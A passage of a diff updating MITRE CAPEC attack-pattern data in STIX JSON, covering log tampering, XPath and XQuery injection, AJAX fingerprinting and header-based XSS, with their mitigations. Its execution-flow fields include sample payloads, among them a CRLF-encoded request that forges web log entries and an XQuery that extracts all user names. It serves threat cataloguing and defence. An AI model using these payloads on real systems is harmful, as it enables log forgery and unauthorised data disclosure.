"identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-80-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "For security reasons, a UTF-8 decoder must not accept UTF-8 sequences that are longer than necessary to encode a character. If you use a parser to decode the UTF-8 encoding, make sure that parser filter the invalid UTF-8 characters (invalid forms or overlong forms).", - "type": "course-of-action", - "id": "course-of-action--2984b19d-0e72-4ebb-abaa-04953b80dbe3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9116b922-43a0-4491-8306-52e2c12b1dbf", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9116b922-43a0-4491-8306-52e2c12b1dbf", "source_ref": "course-of-action--2984b19d-0e72-4ebb-abaa-04953b80dbe3", "relationship_type": "mitigates", "target_ref": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497" }, { + "id": "course-of-action--d9b22e6b-a3b6-4d0c-9522-c3b147e28de5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-80-3", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Look for overlong UTF-8 sequences starting with malicious pattern. You can also use a UTF-8 decoder stress test to test your UTF-8 parser (See Markus Kuhn's UTF-8 and Unicode FAQ in reference section)", - "type": "course-of-action", - "id": "course-of-action--d9b22e6b-a3b6-4d0c-9522-c3b147e28de5" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--9ec596d0-6f5a-467d-b542-5bcad89fb1d4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9ec596d0-6f5a-467d-b542-5bcad89fb1d4", "source_ref": "course-of-action--d9b22e6b-a3b6-4d0c-9522-c3b147e28de5", "relationship_type": "mitigates", "target_ref": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497" @@ -44414,17 +49297,19 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--41bcdc60-4901-4a95-a94e-9e887b6a5652", - "source_ref": "course-of-action--c78bca10-c532-42ea-a5b0-cf7e8d7b5979", + "id": "relationship--ee809e72-9489-47d3-8a97-15d2e21d67a6", + "source_ref": "course-of-action--001320df-5e57-4ed3-bcf8-7e79dfe846aa", "relationship_type": "mitigates", "target_ref": "attack-pattern--2f463f26-84b9-4ab2-9b98-63c817fb3497" }, { + "id": "attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780", "name": "Web Logs Tampering", "description": "Web Logs Tampering attacks involve an attacker injecting, deleting or otherwise tampering with the contents of web logs typically for the purposes of masking other malicious behavior. Additionally, writing malicious data to log files may target jobs, filters, reports, and other agents that process the logs in an asynchronous attack pattern. This pattern of attack is similar to \"Log Injection-Tampering-Forging\" except that in this case, the attack is targeting the logs of the web server and not the application.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -44520,12 +49405,13 @@ "x_capec_example_instances": [ "Most web servers have a public interface, even if the majority of the site is password protected, there is usually at least a login site and brochureware that is publicly available. HTTP requests to the site are also generally logged to a Web log. From an attacker point of view, standard HTTP requests containing a malicious payload can be sent to the public website (with no other access required), when those requests appear in the log (such as http://victimsite/index.html?< malicious script> if they are followed by an administrator this may be sufficient to probe the administrator's host or local network." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine Application Web Server Log File Format: The attacker observes the system and looks for indicators of which logging utility is being used by the web server.

    2. Techniques
    Determine logging utility being used by application web server (e.g. log4j), only possible if the application is known by the attacker or if the application returns error messages with logging utility information.

Experiment

  1. Determine Injectable Content: The attacker launches various logged actions with malicious data to determine what sort of log injection is possible.

    2. Techniques
    Attacker triggers logged actions with maliciously crafted data as inputs, parameters, arguments, etc.

Exploit

  1. Manipulate Log Files: The attacker alters the log contents either directly through manipulation or forging or indirectly through injection of specially crafted request that the web server will receive and write into the logs. This type of attack typically follows another attack and is used to try to cover the traces of the previous attack.

    2. Techniques
    \n Indirectly through injection, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.\n For example: The HTTP request for \"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] \"GET /forged-path HTTP/1.1\" 200 - \"-\" USER_AGENT\" may add the log line into Apache \"access_log\" (for example). Different applications may require different encodings of the carriage return and line feed characters.\n
    \n Directly through log file or database manipulation, use carriage return and/or line feed characters to start a new line in the log file, and then, add a fake entry.\n For example: The HTTP request for \"/index.html%0A%0DIP_ADDRESS- - DATE_FORMAT] \"GET /forged-path HTTP/1.1\" 200 - \"-\" USER_AGENT\" may add the log line into Apache \"access_log\" (for example). Different applications may require different encodings of the carriage return and line feed characters.\n
    Directly through log file or database manipulation, modify existing log entries.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--edac5c2c-7cfe-4047-b2f5-d1626f5c468b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -44534,23 +49420,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Use input validation before writing to web log", - "type": "course-of-action", - "id": "course-of-action--edac5c2c-7cfe-4047-b2f5-d1626f5c468b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--abbb4499-f5b6-4bd9-9b82-f6302c635ae9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--abbb4499-f5b6-4bd9-9b82-f6302c635ae9", "source_ref": "course-of-action--edac5c2c-7cfe-4047-b2f5-d1626f5c468b", "relationship_type": "mitigates", "target_ref": "attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780" }, { + "id": "course-of-action--bc74e6ff-c1ac-4157-97f0-a457258b1503", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", @@ -44559,23 +49447,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Validate all log data before it is output", - "type": "course-of-action", - "id": "course-of-action--bc74e6ff-c1ac-4157-97f0-a457258b1503" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5c13cda6-424c-4bee-a156-88983f9443e5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2017-05-01T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5c13cda6-424c-4bee-a156-88983f9443e5", "source_ref": "course-of-action--bc74e6ff-c1ac-4157-97f0-a457258b1503", "relationship_type": "mitigates", "target_ref": "attack-pattern--0b08a46d-d680-4f3d-91ad-f97e00878780" }, { + "id": "attack-pattern--498a90d8-abbe-4fa9-8b19-549daa1c24ee", "name": "DEPRECATED: Violating Implicit Assumptions Regarding XML Content (aka XML Denial of Service (XDoS))", "description": "This attack pattern has been deprecated as it a generalization of CAPEC-230: XML Nested Payloads, CAPEC-231: XML Oversized Payloads, and CAPEC-147: XML Ping of Death. Please refer to these CAPECs going forward.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -44593,19 +49483,19 @@ ], "x_capec_abstraction": "Standard", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--498a90d8-abbe-4fa9-8b19-549daa1c24ee" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b", "name": "XPath Injection", - "description": "An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that he normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.", + "description": "An attacker can craft special user-controllable input consisting of XPath expressions to inject the XML database and bypass authentication or glean information that they normally would not be able to. XPath Injection enables an attacker to talk directly to the XML database, thus bypassing the application completely. XPath Injection results from the failure of an application to properly sanitize input used as part of dynamic XPath expressions used to query an XML database.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -44666,75 +49556,81 @@ "x_capec_example_instances": [ "Consider an application that uses an XML database to authenticate its users. The application retrieves the user name and password from a request and forms an XPath expression to query the database. An attacker can successfully bypass authentication and login without valid credentials through XPath Injection. This can be achieved by injecting the query to the XML database with XPath syntax that causes the authentication check to fail. Improper validation of user-controllable input and use of a non-parameterized XPath expression enable the attacker to inject an XPath expression that causes authentication bypass." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the target: Using a browser or an automated tool, an attacker records all instances of user-controllable input used to contruct XPath queries.

    2. Techniques
    Use an automated tool to record all instances of user-controllable input used to contruct XPath queries.
    Use a browser to manually explore the website and analyze how the application processes inputs.

  2. Determines the structure of queries: Using manual or automated means, query inputs found for XPath weaknesses.

    3. Techniques
    Use an automated tool automatically probe the inputs for XPath weaknesses.
    Manually probe the inputs using characters such as single quote (') that can cause XPath-releated errors, thus indicating an XPath weakness.

Exploit

  1. Exploit the target: Craft malicious content containing XPath expressions that is not validated by the application and is executed as part of the XPath queries.

    2. Techniques
    Use the crafted input to execute unexpected queries that can disclose sensitive database information to the attacker.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--cab581d6-2ed4-47e6-85b3-5d84bd943c50", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-83-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as content that can be interpreted in the context of an XPath expression. Characters such as a single-quote(') or operators such as or (|), and (&) and such should be filtered if the application does not expect them in the context in which they appear. If such content cannot be filtered, it must at least be properly escaped to avoid them being interpreted as part of XPath expressions.", - "type": "course-of-action", - "id": "course-of-action--cab581d6-2ed4-47e6-85b3-5d84bd943c50" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--7d639463-ea08-4233-a922-f74423845236", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--7d639463-ea08-4233-a922-f74423845236", "source_ref": "course-of-action--cab581d6-2ed4-47e6-85b3-5d84bd943c50", "relationship_type": "mitigates", "target_ref": "attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b" }, { + "id": "course-of-action--9c926763-b5fb-45a5-91de-9aee1b9d874e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-83-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Use of parameterized XPath queries - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails.", - "type": "course-of-action", - "id": "course-of-action--9c926763-b5fb-45a5-91de-9aee1b9d874e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--edff9072-fa08-4afe-a489-21b0eafd515a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--edff9072-fa08-4afe-a489-21b0eafd515a", "source_ref": "course-of-action--9c926763-b5fb-45a5-91de-9aee1b9d874e", "relationship_type": "mitigates", "target_ref": "attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b" }, { + "id": "relationship--221561aa-fdbc-4618-ad52-cff378722a38", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--221561aa-fdbc-4618-ad52-cff378722a38", "source_ref": "course-of-action--618c2d85-ca76-40a0-a019-0ac9ba1b0989", "relationship_type": "mitigates", "target_ref": "attack-pattern--f51fd46e-a327-4c2d-a047-12fe2be6eb0b" }, { + "id": "attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5", "name": "XQuery Injection", "description": "This attack utilizes XQuery to probe and attack server systems; in a similar manner that SQL Injection allows an attacker to exploit SQL calls to RDBMS, XQuery Injection uses improperly validated data that is passed to XQuery commands to traverse and execute commands that the XQuery routines have access to. XQuery injection can be used to enumerate elements on the victim's environment, inject commands to the local host, or execute queries to remote files and data sources.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -44742,7 +49638,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -44797,70 +49693,75 @@ "x_capec_example_instances": [ "\n An attacker can pass XQuery expressions embedded in otherwise standard XML documents. Like SQL injection attacks, the attacker tunnels through the application entry point to target the resource access layer. The string below is an example of an attacker accessing the accounts.xml to request the service provider send all user names back.\n doc(accounts.xml)//user[Name='*']\n The attacks that are possible through XQuery are difficult to predict, if the data is not validated prior to executing the XQL.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Survey the application for user-controllable inputs: Using a browser or an automated tool, an attacker follows all public links and actions on a web site. They record all the links, the forms, the resources accessed and all other potential entry-points for the web application.

    2. Techniques
    Use a spidering tool to follow and record all links and analyze the web pages to find entry points. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all user input entry points visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Determine user-controllable input susceptible to injection: Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to XQL injection, attempt to inject characters that have special meaning in XQL. The goal is to create an XQL query with an invalid syntax.

    2. Techniques
    Use web browser to inject input through text fields or through HTTP GET parameters.
    Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.
    Use XML files to inject input.
    Use network-level packet injection tools such as netcat to inject input
    Use modified client (modified by reverse engineering) to inject input.

Exploit

  1. Information Disclosure: The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to inappropriate disclosure of information.

    2. Techniques
    Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload. The payload aims to get information on the structure of the underlying XML database and/or the content in it.

  2. Manipulate the data in the XML database: The attacker crafts and injects an XQuery payload which is acted on by an XQL query leading to modification of application data.

    3. Techniques
    Leveraging one of the vulnerable inputs identified during the Experiment phase, inject malicious XQuery payload.. The payload tries to insert or replace data in the XML database.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-84-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], - "description": "Design: Perform input white list validation on all XML input", + "description": "Design: Perform input allowlist validation on all XML input", + "x_capec_version": "3.3", "type": "course-of-action", - "id": "course-of-action--0a1b8f58-bbf2-4c82-b330-ec1f540ff771" + "id": "course-of-action--3e0b4d8e-2893-4eea-8c84-541d3c43381a" }, { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1d01b039-08f8-4089-a633-eb8c29eb4552", - "source_ref": "course-of-action--0a1b8f58-bbf2-4c82-b330-ec1f540ff771", + "id": "relationship--5034c53d-3c8c-4bfa-991c-3bdf02939873", + "source_ref": "course-of-action--3e0b4d8e-2893-4eea-8c84-541d3c43381a", "relationship_type": "mitigates", "target_ref": "attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5" }, { + "id": "course-of-action--79594b88-5cce-45e3-8b14-2f323ef0790c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-84-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Run xml parsing and query infrastructure with minimal privileges so that an attacker is limited in their ability to probe other system resources from XQL.", - "type": "course-of-action", - "id": "course-of-action--79594b88-5cce-45e3-8b14-2f323ef0790c" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--2c10ee2c-94e2-4608-adae-9eedeae55591", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--2c10ee2c-94e2-4608-adae-9eedeae55591", "source_ref": "course-of-action--79594b88-5cce-45e3-8b14-2f323ef0790c", "relationship_type": "mitigates", "target_ref": "attack-pattern--65c33cb5-cbae-4a8f-9895-2b7dc6a0f9f5" }, { + "id": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e", "name": "AJAX Fingerprinting", - "description": "This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. In many XSS attacks the attacker must get a \"hole in one\" and successfully exploit the vulnerability on the victim side the first time, once the client is redirected the attacker has many chances to engage in follow on probes, but there is only one first chance. In a widely used web application this is not a major problem because 1 in a 1,000 is good enough in a widely used application. A common first step for an attacker is to footprint the environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on.", + "description": "This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -44925,13 +49826,16 @@ } ], "x_capec_likelihood_of_attack": "High", - "x_capec_typical_severity": "Very High", + "x_capec_typical_severity": "Low", "x_capec_prerequisites": [ "The user must allow JavaScript to execute in their browser" ], "x_capec_skills_required": { "Medium": "To land and launch a script on victim's machine with appropriate footprinting logic for enumerating services and vulnerabilities in JavaScript" }, + "x_capec_resources_required": [ + "None: No specialized resources are required to execute this type of attack." + ], "x_capec_consequences": { "Confidentiality": [ "Read Data" @@ -44939,105 +49843,43 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. By appending a malicious script to an otherwise normal looking URL, the attacker can probe the system for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute additional javascript (for example, if the attackers' footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks)." + "Footprinting can be executed over almost any protocol including HTTP, TCP, UDP, and ICMP, with the general goal of gaining further information about a host environment to launch further attacks. The attacker can probe the system for banners, vulnerabilities, filenames, available services, and in short anything the host process has access to. The results of the probe are either used to execute javascript (for example, if the attackers' footprint script identifies a vulnerability in a firewall permission, then the client side script executes a javascript to change client firewall settings, or an attacker may simply echo the results of the scan back out to a remote host for targeting future attacks) or to inform other data gathering activities in order to craft atta." ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Send requests to the server and analyze responses: Using a browser or an automated tool, an attacker sends requests to a website and then captures the responses. Responses are analyzed for information on frameworks, architecture, and dependencies.

    2. Techniques
    Use a browser to manually request pages and view the responses. Manually parse responses to find information on dependencies and underlying architecture
    Use automated scripting to send one or multiple requests to a server and capture any responses. Parse responses from the server to identify any tags that may provide information about dependencies and underlying architecture.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--3d1586e2-3d5c-4ee5-9af8-6c3990a12afe", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3d1586e2-3d5c-4ee5-9af8-6c3990a12afe", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" }, { - "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", - "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "object_marking_refs": [ - "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" - ], - "type": "relationship", - "id": "relationship--5c26225b-9df9-4fb2-b443-2d9cd035a997", - "source_ref": "course-of-action--040cd51a-446a-4612-a9d0-4a90119d5191", - "relationship_type": "mitigates", - "target_ref": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" - }, - { - "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", - "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "object_marking_refs": [ - "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" - ], - "type": "relationship", - "id": "relationship--44a06b72-881f-4e9f-8bd1-ff02e4f21bc9", - "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", - "relationship_type": "mitigates", - "target_ref": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" - }, - { - "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", - "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "object_marking_refs": [ - "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" - ], - "type": "relationship", "id": "relationship--01f7ae1b-aa22-4c92-8b71-0f105dcbec8a", + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", + "type": "relationship", "source_ref": "course-of-action--8a996efc-52e0-4aaf-953a-21c3fe64c64b", "relationship_type": "mitigates", "target_ref": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" }, { - "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", - "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "object_marking_refs": [ - "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" - ], - "type": "relationship", - "id": "relationship--635118f8-9f21-416e-bb60-e7d810f607e0", - "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", - "relationship_type": "mitigates", - "target_ref": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" - }, - { - "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", - "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "object_marking_refs": [ - "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" - ], - "type": "relationship", - "id": "relationship--6ffc836b-793a-441f-adbb-598667e51f3b", - "source_ref": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", - "relationship_type": "mitigates", - "target_ref": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" - }, - { - "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", - "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", - "object_marking_refs": [ - "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" - ], - "type": "relationship", - "id": "relationship--fb66c602-69a0-483c-bbbc-54bd8c40dd49", - "source_ref": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e", - "relationship_type": "mitigates", - "target_ref": "attack-pattern--94208f8a-f779-4be5-a97b-d9ab781a3f5e" - }, - { + "id": "attack-pattern--39322012-07ba-4bfc-bac7-10891614ee3e", "name": "XSS Through HTTP Headers", "description": "An adversary exploits web applications that generate web content, such as links in a HTML page, based on unvalidated or improperly validated data submitted by other actors. XSS in HTTP Headers attacks target the HTTP headers which are hidden from most users and may not be validated by web applications.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -45045,7 +49887,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2017-05-01T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -45108,133 +49950,143 @@ }, "x_capec_abstraction": "Detailed", "x_capec_example_instances": [ - "\n 